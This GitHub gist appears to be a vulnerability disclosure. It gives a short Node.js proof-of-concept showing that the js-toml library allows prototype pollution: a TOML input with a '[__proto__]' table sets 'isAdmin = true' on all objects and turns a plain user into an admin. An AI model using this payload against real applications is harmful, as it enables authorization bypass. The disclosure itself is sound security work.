Skip to content

Instantly share code, notes, and snippets.

@siunam321
Last active August 5, 2025 09:49
Show Gist options
  • Select an option

  • Save siunam321/f3dc4d21a5a932c67b6c11d0026f5afc to your computer and use it in GitHub Desktop.

Select an option

Save siunam321/f3dc4d21a5a932c67b6c11d0026f5afc to your computer and use it in GitHub Desktop.
js-toml Prototype Pollution PoC

To run the Proof-of-Concept (PoC) script, you could run the following command:

> node poc.js
[*] Before pollution...
[-] Not an admin user
[*] TOML data:

[__proto__]
isAdmin = true

[*] After pollution...
[+] Is an admin user
import { load } from 'js-toml';
const user = { username: 'foo' };
const isAdmin = (user) => {
if (user.isAdmin !== true) {
console.log('[-] Not an admin user');
return;
}
console.log('[+] Is an admin user');
}
console.log('[*] Before pollution...');
isAdmin(user);
const toml = `
[__proto__]
isAdmin = true
`;
console.log(`[*] TOML data:\n${toml}`);
load(toml);
console.log('[*] After pollution...');
isAdmin(user);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment